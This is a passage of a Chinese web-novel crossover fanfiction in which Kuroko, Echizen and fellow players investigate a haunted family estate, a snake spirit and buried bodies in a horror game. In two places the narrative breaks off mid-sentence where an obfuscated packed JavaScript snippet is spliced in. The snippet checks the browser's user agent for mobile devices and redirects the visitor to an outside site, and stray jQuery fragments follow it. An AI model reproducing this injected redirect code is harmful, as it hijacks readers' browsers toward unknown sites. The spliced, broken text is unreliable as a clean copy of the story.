“啊?”x3。
黑子说出自己的关于“供奉”的推测,随后不意外的听到……“呕!”
“呸,好恶心。”
“我就说怎么没味道,原来已经被吃过了。”
“呕!呕!”
黑子在一片干呕声中解释,语气夹杂着愧疚,“因为不确定晚上打扫完回来有没有时间,等明天再说就太晚了。早些说,我们能早些想对策。”
听到最后一句,其实悄悄干呕的越前擦了擦唇角,若无其事的说,“如果她们明天继续走这个流程,那么只需要在阿菊送餐时想办法拖延时间,或者小梅送回来后找办法弄脏食物。前提是,不违反规则。”
田中和高桥开始思考。
黑子望向越前,“谢谢。”
越前扭头,将帽子压低了些。
“对了,我本来打算通过香味判断,”高桥想起来,“但小梅身上有很浓的花香味,我辨别不出有没有檀香味。当时房间太香,我也闻不到大小姐身上有没有花香味。食物上只有淡淡的檀香味。”
“除了这些,还有一种验证方法。”
越前转回来,“大小姐和小梅是否同时出现过。我们理一理今天见到她们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332777|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间。应该是高桥女士先见到小梅。”
“嗯,你们离开后,我和渡边姐也出发了。我们先见到小梅,她在绣花,我们得知了‘大小姐不见外男’这个规则,渡边姐开始说服我单独去见大小姐。后来她离开了,按照田中先生的说法,她直奔藏书阁,一直待到快吃午饭的时候。”
高桥一边回忆一边说:“之后我去见大小姐,从我进去到昏迷,其实就十几分钟,可能更短。我摘花、见管家、去大小姐的住所,花费应该也是十几分钟,反正时间不长,一路上很顺利。”
“我经过茶室、花园等地,还检查了一些空房间,见到正在洗衣服的小梅,聊完后我离开,”越前接在她之后说,“和黑子前辈见面后我们去了花园,之后和田中先生会面,发现你没出现,去找管家,当时距离午饭应该不到二十分钟。”
“午饭有檀香味,证明阿菊或者管家有给小梅送饭,小梅供奉后还给阿菊,”黑子摸着下巴,“时间上勉强对上了,小梅先见高桥女士,再装作大小姐,然后见越前君,期间还做了什么不清楚,之后接到餐食,供奉,还给阿菊。今天下午我们没去找她,只有渡边女士去见大小姐……两人从未在同一个场合出现。”
“有点诡异,又觉得,”田中冷不丁道,“小梅这样赶场子和社畜没区别,可怜啊。”
还没进入社会的三名学生无辜的看着他。
田中立马收起这丁点同情心,“不管小梅是不是大小姐,大小姐身上出现蛇影,证明她就是那个被供奉的不知名存在吧?所以她不是小BOSS而是大BOSS?”
黑子不能给出肯定答案,“我认识的邻居信佛,曾经说过檀香于佛有两种含义。檀香含‘戒、定、慧’,燃香寓意自我奉献。同时,檀香符合仪轨对‘通神之媒’的要求。我觉得不知名的存在是偶尔降临在大小姐身上,真身在……”
“供养塔。”x3。
田中咽口水,“今晚的打扫工作风险很高啊。”
“可以验证一些事,高风险高收益,”黑子起身,“我们该过去了。”
高桥跟着起身,“我给你们放哨,还有计时,别忘记我们的就寝时间是十点,一定要及时回来。”
·
“麻烦几位了。”
管家将清洁工具递给黑子三人,嘱咐,“老爷已经就寝,还请各位小声些,不要惊醒他。”
黑子三人忍住吐槽的冲动。
白天看书不能吵,晚上睡觉不能吵,说白了,就是指望他们违反规则。
他们偏不。
管家提供了一把竹枝做的扫把和两把高粱穗做的帚草。前者用于清洁庭院等地面比较硬的地方,也比较容易发出声音。
黑子主动接过竹扫把,慢吞吞的扫起来,其实一直不动声色的向供养塔靠近。
其他两人动作也很慢,一个靠近窗户,一个靠近大门,试图窥探屋内的景致。
管家在发完扫把就离开了,似乎一点都不在乎他们的小动作。
白天天色一直阴沉沉的,入夜后云朵反而散开,月光洒落,照亮了干净得可以反光的供养塔。
黑子一只手扶住扫把,另一只手拿出一块布,按在塔身上,实则悄悄探出手指,摸了摸塔身。
他准备充分,一旦管家出现斥责他,便解释自己在清洁供养塔。
很快,黑子的心神被手下的触感吸引了。
冰凉,滑溜溜的,像是在摸……想到某种可能,黑子一个激灵,赶紧收回手。
“黑子前辈?”试图偷窥主屋也同时注意黑子这边的越前轻轻喊了声。
“可能是我的错觉,”黑子声音也很轻,“塔的触感……”
越前赶紧走过来。
田中本来也想过来,又怕老爷从主屋里出来,改为盯着大门。
“这个触感……”同样摸摸的越前想到网球部总是发出“嘶嘶”声的海堂前辈,“蛇?”
注意到黑子在月光下更加白的脸庞,他挑眉,“哎,原来黑子前辈怕蛇啊。”
“并没有。”从未接触过真的蛇,无从得知自己会有的反应,黑子回答得理直气壮。
场合不对,并未抓住这一点不放,越前想了想,“高桥女士的形容和这个有点像吧?”
“她不能进来。”黑子有些遗憾,但没再摸塔身,还把越前的手捉下来,让他也别摸。
绕着直径并不长的塔身转了一圈,黑子没找到后门,只能转回到挂了锁的门口。
他思索着如何进去,又有些怀疑门开了他未必敢进。谁要进蛇腹中啊?
同样在思索的越前抬头瞥了眼,逐渐狐疑。他怎么感觉黑子前辈炸毛了呢?
能让表现得一直很冷静稳重的黑子前辈有这样的反应,果然,黑子前辈怕蛇。
“前辈很擅长观察,”这是相处一天越前得出的结论,“前辈负责观察主屋吧。”
黑子还没说话,不远处传来田中很刻意又压低的咳嗽声。
两位少年反应很快,抓紧扫把,“唰唰唰。”
一边“唰唰唰”,一边远离供养塔,期间还能抽空看看庭院入口。
半个身体陷入阴影中的管家正看着他们,一句话也不说。
有点吓人。
黑子心想。他开始怀疑自己另一个猜测是错误的。
既然小梅能是大小姐,那为何管家不能是老爷?
这两人也没同时出现过,管家的衣服象征意味又太强烈,而这是一个等级森严的家族。所以他做好“老爷打开门像鬼一样凝视他们”的准备。
老爷没出现。
黑子乖巧扫地,其他两人也是。
不知过了多久,三人悄悄看入口,像鬼一样凝视他们的管家已经不见了。
三人开始交流。
“我来摸摸看,”田中自豪的抬起头,“其实,我家养了一条小蛇哦,超级可爱。”
如果不是场合不对,田中高低会拉着两个学生安利一番。
他摸。
他再摸。
“唔。”田中抵住下巴思考。
黑子和越前睁着大眼睛,期待的看着他。
“没有我家小蛇好摸。”
黑子和越前:“……”
田中老实了,“我觉得是蛇皮的触感,还是不要进去了,万一进去等于把自己献出去,那岂不是当场没了?”
“这是第一个晚上,还有时间,明天再看,”想了想,黑子做出决定,“我们好好表现,打扫干净,争取明日白天可以进入主屋打扫。”
其他两人同意了,三人卖力又安静的打扫。
在他们打扫完后,无人通知,管家再次悄无声息的出现在门口。
“辛苦几位客人了,”许是天色黑,晚风温度低,管家的声音跟着阴冷起来,“几位可以回去休息了。”
黑子走过去,主动说,“接下来我们还要在贵处打扰,如果长尾老爷的住所也需要打扫,尽管吩咐我们。”
管家的表情再次柔和了一些,黑子理解为“又给机会让这些人违反规则了”。
“你们有心了,待明日我问问老爷再通知你们,客人们早些回去休息吧,记住,如果夜间听到奇怪的动静,一定不要出门。”
黑子几人告别,走出很远后,黑子回头看,发现主院入口依旧有一道身影,静静地看着阿门。
黑子:“……”
三人离开后不久,又有一道身影出现在门口。
月光下,男人脸上的疤痕彰显着存在感。
“一群老实人,打扫卫生能查到什么线索?”
他提着食盒,大摇大摆的从正门进去,随后停在供养塔前。
没有主人邀请擅自进入主院肯定无礼,但如果带了供品过来礼佛,那就是香客了,只会受到欢迎。
回忆着从渡边那儿知道的情报,山下双手合十,朝供养塔的大门拜了三下。
“啪嗒!”
是铁锁坠落的声音。
山下满意的看着这一幕,提着食盒走进去。
他没看到,一个穿着七宝纹和服的老者出现在主屋门口,他披着银色齐下巴的头发,杵着一根精致的拐杖,两只眼闪过红色的光芒。
4. 新手关4
“吱嘎。”
清晨,客人们居住的院落,最左边的房门被拉开一条缝,露出一双圆润的蓝色眼睛。
那双眼睛警惕的四下张望,又再次定格在灰蒙蒙的天空上。
关上门,黑子揉了揉太阳穴,开始喊人。
喊了一会田中才醒,他惊讶的按住眼下的青黑,“我居然睡得这么沉没失眠?”
“我昨晚睡得也很沉。”
黑子说着,又去喊越前,对方没醒。
睡姿好像猫啊,黑子这么想着,推了推没叫醒的学弟。
“越前君,别忘了,我们今天还有狙击早餐计划,必须抓紧时间。”
赖床的学弟悠悠转醒,慢吞吞爬起来,眼神迷茫的左右看看,才意识到这不是家里,卡鲁宾也不在身边。
“越前君的心态真好。”
“彼此彼此,前辈。”
越前盯着黑子那一头乱毛看,“可以想象得出前辈的睡眠质量。”
整理好被褥,他们走到隔壁,敲门,轻轻喊了声。
无人应答。
敲门声变大,还是无人应答,反倒是隔壁的山下打开门。
“你们在做什么?”
“喊人。”黑子面不改色迎上山下的打量。
错觉么,感觉山下的眼神比昨日阴冷了许多。
“让开。”
山下主动上前,直接把门拉开,看清楚里边的画面后,皱眉,“渡边去哪了?”
黑子几人探出头,只看到高桥躺在榻榻米上,被褥被扔到一旁,渡边的被褥是空的,还很凌乱。
“不对。”
黑子赶紧走进去,开始摇晃高桥。
“高桥女士,醒醒。”
好一会高桥才醒来,看清黑子的脸,赶紧拽住他的胳膊。
“蛇、蛇影!昨晚那道蛇影来我们房间了!”
她翻身坐起,脸上尽是惊恐,“那道蛇影靠近渡边姐,渡边姐把我推出去,但蛇影绕过我直扑渡边姐。然、然后渡边姐被蛇影吞没,我吓得晕过去了!”
高桥脸色发白,身体抖个不停,黑子正想安慰他,整个人被山下扒拉到一边。
“你说什么?”
山下抓住高桥的衣领,表情狰狞,“渡边被蛇影吞了?她违反规则了?她怎么可能违反规则?她违反什么规则了?”
差点摔倒被越前及时扶住的黑子道谢。
他也没想过渡边会是第一个被盯上的玩家。
没看到蛇影吞噬高桥的画面,但有玩家失踪就像是悬顶之剑。室内气氛陡然凝重。
田中已经上前,将山下的手拽下去,虽然很怕,但还是拦在高桥面前。
越前也抬高帽子,琥珀色的猫眼锐利的盯住山下。
“山下先生很清楚,”黑子也不客气,“渡边女士拿走了藏书阁的东西。昨天下午,管家和我们说过这样一句话‘自先祖时期有规定,不允许任何人以任何方式从藏书阁带走任何物品’。”
“被发现违反规则才算违反规则,”山下冷笑,语气笃定,“少在这里套话!”
这是黑子几人还不知道的规则,看上去山下也不会告诉他们是如何验证这条规则的。
“那只剩下另一种可能了,”黑子思路清晰,“和大小姐那边有关。”
根据昨日渡边的行动轨迹来看,这位老玩家掌握的线索不多,但都非常关键:记录了长尾家先祖事迹的木简书册、被不知名存在降临过的大小姐的相关情报。
不是前者,那就只能是后者。
山下脸色难看。
“还是说,”越前清朗的声音带着一丝犀利,“是你给她的情报出了问题?”
“少在这里套话!”
山下下意识重复,迎上两个中学生的眼神,他没来由的暴躁起来,直接将两人推开,大步朝外走。
“这人好奇怪,”田中无语,“都这时候还不说吗?”
“他很慌,很怕,”黑子努力冷静思考,“不管是他们当中谁的情报出了问题,从他的反应来看,他肯定根据情报行动了,才会害怕。”
“要和他交易吗?”越前问,“渡边拿走的东西也许致命,但非常重要。她失踪,我们只能问山下。”
“这样,如果上午我们能去主屋调查,调查不出什么,就拿隐藏任务和他交易,”黑子抬头看几人,“你们觉得如何?”
“可以。”x3。
黑子又对抖个不停的高桥说:“高桥女士,不急,你先平复心情,我们晚些时候再说昨晚的事。”
“好、好。”高桥赶紧点头。
出了他们预料之外的变故,狙击早餐的计划还是要继续。
“有些晚了,只能拦住小梅了。”田中说。
高桥抖了下。
黑子收回目光,“昨天没说,我激发天赋技能了,可以隐藏身形,所以我有个计划。我隐去身形的同时装作不小心撞翻食盒。这样,阿菊只能重新做一份来不及供奉的早餐。”
“有风险,”越前立马说,“小梅极可能是大小姐,曾被不知名存在利用过。如果不知名存在是大BOSS,有特权,哪怕看不见也算你违反规则呢?”
“所以我要装作不小心,”黑子认真解释,“如果小梅发现了,很生气,我就装头晕肚子疼,你们再帮忙解释几句我不舒服。我昨天还听到他们提到副本难度问题……”
他说了新老玩家的比例。
“就像我们能去大小姐居住的地方,就像高桥女士当时可以找理由说服大小姐,我觉得有些规则哪怕违反了,也有补救的机会。渡边女士应该是违反了无法补救的死亡规则。我们必须果断,早些找到那条死亡规则。”
越前被说服了。
事实证明黑子的猜测没错。
他使用【幻影】隐去身形弄翻食盒后,小梅还以为是食盒太重自己失手了,一脸懊恼,并没有发作。黑子还趁机近距离的观察这位仆人。
和高桥说的一样,双手很光滑,气息有些阴冷。
说起来,刚刚山下的气息也有些阴冷,把他扒拉开时手掌的温度也偏低,明明昨天还不是这样。
思绪偏了一瞬,黑子继续观察。他有些不自在的吸了吸鼻子,闻到了淡淡的檀香和花香。
阿——嚏!
及时捏住鼻子,黑子才没发出声音引起怀疑。
阿菊没有时间重做早饭,只能将之前多做的味增汤和多蒸的饭添出来。当然,这些并没有被供奉过,有味道。
田中的眼泪差点飙出来。
这才是香喷喷的米饭啊!
黑子有些食不知味,他数次隐晦的望向山下……桌前的饭菜。
不止他,越前和高桥也忍不住数次望向山下。
只因山下面前除了味增汤和米饭,还有烤鱼和一些青菜。
被优待的山下表情却很难看,又不能不吃。在吃了一口青菜后,他先是瞪大眼,紧接着放下筷子,焦虑的咬住指甲。
这个反应……黑子忍不住想,该不会这份青菜有味道吧?
讲究规矩的家族宁愿单独给山下一份烤鱼和青菜,也不肯将青菜分给其他客人,或者一视同仁都不上……这份烤鱼和青菜没有被供奉过,并且是一开始就单独留给山下的!
意识到这一点,黑子更想知道这位老玩家的经历。
但是……“喂,给你一个道具,把它们吃了。”
确定今日阿菊不在餐厅外侯着,山下直接命令田中。
被盯上的田中张大嘴,“啊?”
“两个道具!”
“我、我看上去像傻子吗?”田中无奈。
“你们谁吃?”山下看向其他人。
黑子三人沉默。
山下沉着脸,最后还是一言不发自己解决了饭菜。
他一离开餐厅,几人就讨论起来。
“我还以为他会加码。”田中说。
“加码你会吃?”高桥问。
“怎么可能,我是对还没见过的道具心动,但我更惜命。特别是现在渡边失踪,他如同惊弓之鸟,我更不敢靠近他了。”
田中也疑惑,“明明拿到关键线索,为什么一个失踪,一个好像比我们更靠近危险呢?”
“不走寻常路吧,”越前将放在一旁的帽子拿起来,重新戴上,“两人都是直接用道具技能之类的去找关键情报,却遗漏了其他基础情报和细节,又不肯和我们交流。”
“现在去找管家?”越前望向黑子。
不知觉间,大家以黑子为中心了。
“我想去花园看看。”黑子如实说。
越前压低了帽子,脸色才好了一些的高桥又白了脸,田中……田中真诚道,“如果要去挖什么,得借工具吧?”
黑子:“……”
他们找阿菊借了工具,朝花园走去。
途中,高桥数次深呼吸,终于可以情绪相对稳定的复盘昨晚的经历。
“我确定我睡着了,忽然觉得很冷才醒过来。渡边姐和我差不多时间醒来,然后我们看到墙上有一道巨大的蛇影……比大小姐房间里的蛇影大,但我确定轮廓是一样的,那种温度下降要结冰的感觉也一样,不一样的是,给人的感觉比之前危险得多。它直接扑向渡边姐,然后我被推出去……渡边姐被蛇影吞噬的时候……”
高桥按住太阳穴,“好像把什么东西往外扔,用蓝色布块包着,那东西也被蛇影吞噬了。还有,我其实是想往外跑的,但蛇影朝我吐了口浓烟,有檀香的味道,我是因为这个才晕过去。”
解释完,她有点不好意思,“当然,也有被吓到,没有那口浓烟,我也许还是会晕过去。”
“发现蛇影的时候,你们没喊叫吗?”黑子问。
“喊了啊,那个时候我完全忘记不能大声喧哗的规则了,”高桥如实说,也反应过来,“哎?你们没听到?”
“没有。”x3。
高桥抵住唇角思索,“说起来,我昨晚也睡得很沉,明明睡觉前还在想今天的计划,还觉得和渡边姐共处一室有点尴尬,但很快就睡着了。”
“我睡眠质量一向不错。”越前表示他没法判断。
“我……”停顿了下,黑子如实说,“最近睡眠不太好,不过如果体力耗尽,我也比较容易睡着。”
“我这几年经常浅眠,昨晚睡得那么沉才奇怪。”田中摸摸后脑勺。
“山下先生也不知道昨晚的事,”黑子说,“我偏向他也睡得很沉。”
一两个还正常,都这样就不正常了。
线索不足,大家找不到原因。
“等等,我尖叫了算违反规则吧?”高桥不确定道,“但好像一直没事。”
黑子几人没有经验,表示接下来只能观察。
“对了,”快到花园的时候,高桥提起昨天傍晚的事,“我在见过小梅后,按照计划回房间检查,还检查了你们的房间,没有异常。晚上渡边姐比我先回去,我不知道她有没有藏东西……早上的情况你们也看了,把被褥叠好后,并没有发现木简书册之类的东西。”
黑子也想起来,“昨天傍晚我见到渡边女士时,她穿着没有异常。”
问题来了,渡边从藏书阁拿走的东西去哪了,会交给山下吗?
在去寻找答案之前,他们得先检查花园。
“这里。”
戴着帽子的少年轻喊了一声,“泥土有被翻动的痕迹。”
黑子几人赶紧走过来,表情复杂的盯着那片花丛。
想说些什么,又不知道该说些什么。
黑子双手合十,朝花丛拜了拜。
其他人也这样做。
“失礼了。”
黑子说着,开始挖土。
他挖出一具尸体。
好消息,并非渡边。
坏消息,也不是昨日见到的那副尸骨。这具尸体更新鲜,不到二十的女性穿着梧桐纹的和服,发型精致,身上的首饰也没摘下。
“啊!”
高桥下意识喊了声,反应过来后她捂着嘴,另一只手抖了抖。
“这个发型,和我昨天看到的大小姐的发型一模一样!”
死者的面容很陌生,几人都是忍着惧意观察,很快,黑子发现死者身下压着什么。
“失礼了。”他再次说。
“等等。”在他伸手的时候,田中拦住他,自己弯腰,从死者身下抽出那叠东西。
看清后,田中惊呆了,其他人也呆住了。
“这……”
“该怎么形容呢。”
“快看看。”
“所以长尾家的爱情能成为传说,是当时的执政者公开支持?”
“利益一体吧,真恶心。”
“这个得到神明的赐福也太微妙了。”
过了会,黑子环顾四周,深呼吸,“要不要都挖开?”
“管家随时可能找我们。”越前提醒。
“我发动技能,你们看看。”
黑子拿着工具开始发动技能,又解除。
在田中和高桥迷茫时,越前已经领会他的用意,“工具也被隐形了。”
“这好办,”黑子说出自己的计划,“一人放哨,其他人轮流挖。如果管家出现,我马上带着工具隐形,你们装作刚到,惊讶的看着花园里的景象。”
他对越前三人握拳,“考验你们演技的时候到了。”
田中有被激励到,“看我的了。”
“田中先生应该是老板比较欣赏的类型吧?”越前说。
“咦,你怎么知道?”
越前压低帽檐,唇角微微扬起。
听懂的黑子平静的夸赞:“弟弟的演技也很好。”
一次成功让管家答应让他们进入大小姐居住的楼栋。一次成功让管家同意晚上也去主院打扫。
越前:“……”
高桥扭头,偷笑。
最终,他们共挖出七具尸体,只有一具可以看清楚面容,其余皆是白骨。根据身量和残存的布料判断,都是女性,白骨化的程度不同。他们不是专业人士,也判断不出具体死亡时间。
七具女性尸体足以让他们的敏感神经发出信号。
“我记得这一任家主继任的时间和生平简单记载,”高桥回忆昨天在藏书阁看到的内容,“算算时间,已经超过一百岁了。在这个年代也太长寿了。”
“我们已经找到藏书阁缺失的那部分内容,隐藏任务也没变化。”田中举起手里的木简说。
非常巧合,他们本意是想来花园看看,渡边会不会在这儿。没找到渡边,反而找到渡边藏在某具尸体下的东西,即她从藏书阁拿走的那部分记载。
这部分内容记载了长尾长生的爱情故事。和黑子曾提到的故事较为类似,区别是,他的恋人是在和他成婚后才因病去世。多年后,长尾长生遇到一个年轻女人,对方能说出去世妻子的所有经历和他的身份,就像是妻子转世归来,两人成婚,夫妻恩爱。
当年的执政者得知后,召见了长尾长生,大力赞扬了这对恩爱的夫妻,还给长尾长生赐下爵位。
这之后,一跃从平民到贵族的长尾长生变得非常受欢迎,时常有其他贵族来家里做客,或是要求他去做客。
“还缺了一部分,”越前扬起手里的书,里边有几页被撕掉了,“长尾长生和妻子七世情缘的秘密还未解开。根据现有线索,可以往一世成婚七次的方向推测。”
黑子想了想,“准备去主院了,我们先找个地方清洗下。”
重新埋土种上花,拜了拜,几人赶紧离开花园。
在熟悉的道路口,黑子三人与高桥分开。
目送三人离开,高桥站在老地方警戒,复盘着目前收集到的线索。还差一点点就可以完成隐藏任务。
一只手从身后伸过来,捂住她的嘴,往一旁的假山拖去。
主院。
得到允许,黑子三人今日可以打扫老爷居住的主屋。
注意到黑子看了他一眼,田中忙说,“昨晚的风有点大啊,地上全是落叶,我再来扫扫吧。”
管家定定看着他,似乎要看进心里去。
田中不自觉咽口水。
“麻烦您了,还请不要打扰老爷看书。”
“知、知道了。”
田中赶紧跑到庭院的一角,装作很忙碌的扫地。
他想起过来前黑子说的话。
“我想找机会验证管家是不是老爷,需要有人待在庭院里,时刻注意着管家的动静。”
田中主动提出申请。他知道盯梢管家有风险,不在同一个空间,要提醒黑子越前,只能发出巨大的声音,有可能会违反规则。但就像高桥之前说的那样,什么都不做,会对自己失望的。
因此按照计划,等管家离开主屋,院外的高桥是第一道警戒线,院中的田中是第二道警戒线,黑子负责验证,必要时刻隐形躲起来,越前则是负责调查其他线索,必要时刻给黑子打掩护。
主屋。
黑子在泡了一壶茶后,改变主意。
他本打算借口送茶水进入书房,现在想想,不如直接用光隐形时长,进入冷却时间,为晚上做准备。
半透明面板上,隐形时长剩余两分半。
笨拙的翻窗,落地,黑子屏住呼吸望向另一侧。
障子后有一道正在看书的身影。
没听到呼吸声,没听到翻书页的声音。
整个书房安静到可怕。
一步,两步……绕过障子……“唰!”
黑子:“!”
抓住衣襟,黑子定定的看着几乎和自己脸贴脸的……应该是人偶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332778|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样的东西。
就是女儿节和男孩节用的人偶,放大版,脸很白,眼睛很黑,还能活动,身上有一股阴冷的气息,逼真到可怕。
他在小梅和山下身上感受到过这股阴冷的气息。
黑子感受到汗水从额头落下,坠在睫毛上。
完全不知道人偶的运行机制,不敢动,不敢呼吸,只能眼睁睁看着隐形时间一点点走向结束。
还剩下五秒的时候,人偶动了,它慢吞吞坐回去,拿起书,摆出阅读的动作。
黑子没有犹豫,立马朝窗户的方向狂奔。
落地的瞬间,隐形时间结束,进入冷却阶段。
越前目光一会扫向门口,一会扫向通往书房的方向,动作敷衍的擦桌子。熟悉的身影出现在视野里时,他很明显的松了口气。
等黑子走近,他又是一副冷静的模样。
“管家没来。”
“……嗯。”
短促的一声,也能听出很沙哑。
越前抬头看了眼。
“屋里有人?”
“是人偶,气息和小梅很像。”
懂了,那位不知名的存在也能通过人偶现身。
这也太危险了。
越前皱眉。
“撤?”其实距离他们进来没有多久,太早撤退说不定会让管家不满,但越前觉得前辈承受的压力太大了。
这话他不会明着说出来,只是疑惑怎么自己的技能还没出现。
初入游戏听到系统提示时,他就有一种预感,自己有天赋技能。可以说是自信,也可以说是直觉,总之,他会有天赋技能。
听黑子前辈提及自身经历,他大概猜出,如果有这方面的天赋,技能会在最恰当的时候出现,属于他的时机还未到来。
但他现在等不及了。
“不行,如果管家不满,之后我们很难找到机会进来,不去书房就行了。”黑子拒绝了。
他平复呼吸后,开始打扫卫生。
不需要警戒,越前也认真打扫。
主屋不大不小,摆着一些他们看不懂的装饰品,除了进去就很快出来的书房,只有衣物值得他们注意。
纹样不是和佛有关,就是这个时代的贵族专属,但料子大多很普通,和管家身上穿的那件一样。只有几件,看着就很华美贵重,上边还有淡淡的檀香。
“看来只有那位守着的书房比较重要。”越前总结。
黑子点头,“冷却时间过来,我再找机会进去看看。”
越前不说话了。
他有点烦躁,技能怎么还没来?
和田中汇合后,管家出现在庭院门口,幽幽的注视着他们。
和人偶面对面的画面浮现在眼前,黑子有点紧张。
书房也有很浓的檀香味,他还让越前闻了下衣服,确定自己身上沾了一些,因此故意在老爷的衣柜那边待了很久。那些衣服有很浓的熏香味,并非檀香。
管家在黑子跟前停下,冷声道,“你去了书房?”
“没有。”
“呵,你身上有香味。”
“大概是在老爷衣柜那边沾上的,我看衣物有些乱,稍稍整理了下。”黑子语气和表情都很平静,不卑不亢的和管家对视。
管家眯起眼,在几人心跳忍不住开始加速时,管家表情逐渐和缓。
“是我误会客人了。老爷讨厌别人打扰他,我难免容易紧张。”
“没关系,可以理解。”
三人被放行。
出了主院,田中正要说话,发现黑子表情不对,“怎么了?”
“高桥女士不见了。”越前也发现了。
三人小跑过去。
这条路铺了鹅卵石,边缘的地方长了些青苔,现在部分青苔上出现拖拉的痕迹。
“违反规则的惩罚还是山下做的?”
田中记得昨晚高桥大喊过。
“山下。”
黑子指了指一棵树下,上边有比较浅的脚印,和他昨日在花园里看到的一样。
“那个家伙!”田中捏紧拳头,“就不能好好通关吗?可以交易,可以合作,偏偏这么做。”
“找人吧,”黑子提醒,“玩家不能互相伤害,目前看来,应该是不能直接物理伤害,他应该是看到高桥女士落单,想知道我们这边的进展,威胁的手段大概是把人关起来错过午饭。”
三人顺着痕迹往前走了一段路,“我去这边……”
黑子指着一个方向,手才抬起来,注意到穿着白裙的女孩朝他们小跑过来,顿时松了口气。
“呼,呼,”双手撑住膝盖,高桥大口呼吸,“抱、抱歉,我没能警戒。是、是山下那个家伙……”
高桥也不用敬语了,那种人不值得尊重!
“我们猜到了,去那边说话。”
四人换了个可以快速通往餐厅又能看到几条路动静的地方。
高桥平复好心情,“差不多是你们前脚进去,他后脚帮我带·走了。”
“带走”二字说得咬牙切齿。
“我省去我们之间那些交锋吧。简单来说,他威胁我,如果不告诉他我们调查的情报,就把我关起来错过午饭。我说了这样几个情报:一是我在大小姐那儿的真实经历,包括蛇影的出现,但没说大小姐给人的感觉。二是承认在花园里发现尸体,但没说具体有哪些,和其他特征,特别是那些木简书籍。三是你们打扫了主院,但没有发现。四是藏书阁内没有发现。”
“他相信了?”田中算了算时间,“应该没吧,否则你早回来了。”
“这就是我要说的,大小姐那条情报他轻易放过我了,我推测他从渡边姐那儿知道一些情报。花园和藏书阁的情报他也没太在意。但我说到主院这边没发现时,他多问了一句,情绪很紧张。”
高桥抬起两只手,“有没有这样一种可能,他和渡边姐都知道的情报与主院有关,并且他去过主院,在渡边姐失踪后,开始担心他也出事?”
“有这种可能。”黑子三人点头。
“他还问了食物的事情,他的早餐,青菜和烤鱼有味道,还有一件事,”高桥左右看看,压低声音,“山下的皮肤冰冷,滑溜溜的,和大小姐给我的感觉一样。然后,我从他那儿跑出来后,看到小梅在晒衣服,故意跑过去帮忙,‘不小心’摸了她一下,冰冷,滑溜溜。”
黑子回忆,“他今天的气息是有些阴冷,早上他推开我的时候,我能感受到他掌心的温度,温度偏低。小梅和大小姐是同一个人这点已经不意外了,山下为什么……”
“差点忘记说,”田中学着高桥左右看看,才压低声音,“供养塔的门好像被打开过,地面落了一些铁锈。”
黑子猛的抬头看他。
一切……串起来了。
和渡边共享情报后,山下去过主院,进入了供养塔,才变成现在这个样子。
渡边没去供养塔,还先一步被蛇影带走的理由是……“山下应该被选为降临的容器了。”
“啊?”田中和高桥震惊。
这导致他们得知管家就是老爷时,反而没那么震惊。
“年龄对不上,管家头发银白不假,但身体康健,面容也比较年轻,只能说六十左右,”高桥用力按住额角,“也就是说,如果找到他变年轻的手段,差不多就可以完成隐藏任务了?”
“还要找到七位受害人和他的关系,以及‘那位赐福’的规则,”黑子补充,“我们在接近答案了,加油。”
“今天中午我们不狙击餐食,再观察山下。”越前建议。
黑子几人同意了。
他们再次吃到没有味道的食物。
田中故意露出“人生没有趣味”的表情,注意到这一点的山下捏紧的筷子。
黑子得出结论,山下的食物还是有味道。
为什么有味道?
因为山下也是“那位”,怎么能让“那位”吃被供奉过的食物呢?
“山下先生。”
午餐结束后,黑子追上脸色难看快步离开的山下,“要做交易么?”
“哈?”山下阴沉的瞪着黑子,“你们一直傻乎乎的给那群NPC工作,能查到什么线索?少来占便宜!”
“我们至今没有违反规则。”黑子给出强有力的证据。
山下脸色一变,上前准备抓住黑子的衣领。
黑子迅速退后,“如果你动手,我就大喊。我违反规则了,你也违反规则了。”
哪怕没动用武力,不算违反“玩家之间不能互相伤害”,也违反了老爷规定的“和睦”。
山下的脸色比墨还黑。
“昨天晚上,你和渡边女士应该共同去做了一件事,”黑子观察着山下的反应,说出自己的猜测,“她出事了,你没出事,你应该能猜到是为什么。”
5. 通关
“少来套话,”这句话几乎成了山下自我防御的招牌台词,对黑子毫无杀伤力,“你倒是说说,你觉得我这是什么情况?”
蓝色的眼睛眨也不眨的盯着山下看,将所有细小的不安、恐惧、期待收入眼底。
山下其实猜到了,需要人去反驳内心那个猜测,黑子这般想着。以他对这位老玩家的了解,直接说出口,山下会动怒乃至动手。
“山下先生,时间紧迫,我们免去试探,我先来表示诚意,我可以告诉你如何开启隐藏任务。”
山下瞬间转移了注意力,眼珠微微凸起。
“隐藏任务?你开启了隐藏任务?”
“是我·们开启了隐藏任务。”
山下眼底的情绪再次出现变化。
黑子简单重复昨日在藏书阁的那段话,没提今日在花园里的发现。
很快,山下脸上出现笑容,这代表隐藏任务开启成功。
“居然这么简单,早知道……”
早知道昨日不该盯着渡边,而是和他们去藏书阁老老实实查阅资料。黑子在心里替他把话补全。
“我已经表现出诚意了,山下先生。”黑子提醒。
“咳咳,”哪怕看黑子不顺眼,开启隐藏任务后,山下也不得不承认这是个老实人,还是个有点聪明的老实人,“你应该知道渡边从藏书阁拿走了一些资料,她用特殊道具找到的,必然和副本的主线有关。没给我看,只说了资料的大致内容。”
